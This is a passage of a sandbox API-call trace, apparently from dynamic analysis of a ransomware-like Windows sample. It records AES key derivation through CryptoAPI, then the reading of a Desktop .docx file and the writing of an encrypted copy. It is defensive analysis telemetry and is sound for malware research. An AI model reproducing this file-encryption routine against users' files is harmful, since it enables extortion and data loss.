lpMsg=0xe8f3dfeb20) returned 0 [0022.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.901] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.901] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.902] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.902] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.902] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.903] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.903] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.903] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.903] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.903] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0022.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k3ebs8.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.905] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.905] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.906] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.906] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k3ebs8.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.908] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.908] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4efa, lpOverlapped=0x0) returned 1 [0022.908] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.910] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.911] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.911] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.911] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.911] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.911] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.911] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.911] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.912] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.912] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064a20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.912] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.912] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.912] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.913] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.913] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4efa, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4f00) returned 1 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] CharLowerBuffW (in: lpsz="byte[20225]", cchLength=0xb | out: lpsz="byte[20225]") returned 0xb [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.913] CharUpperBuffW (in: 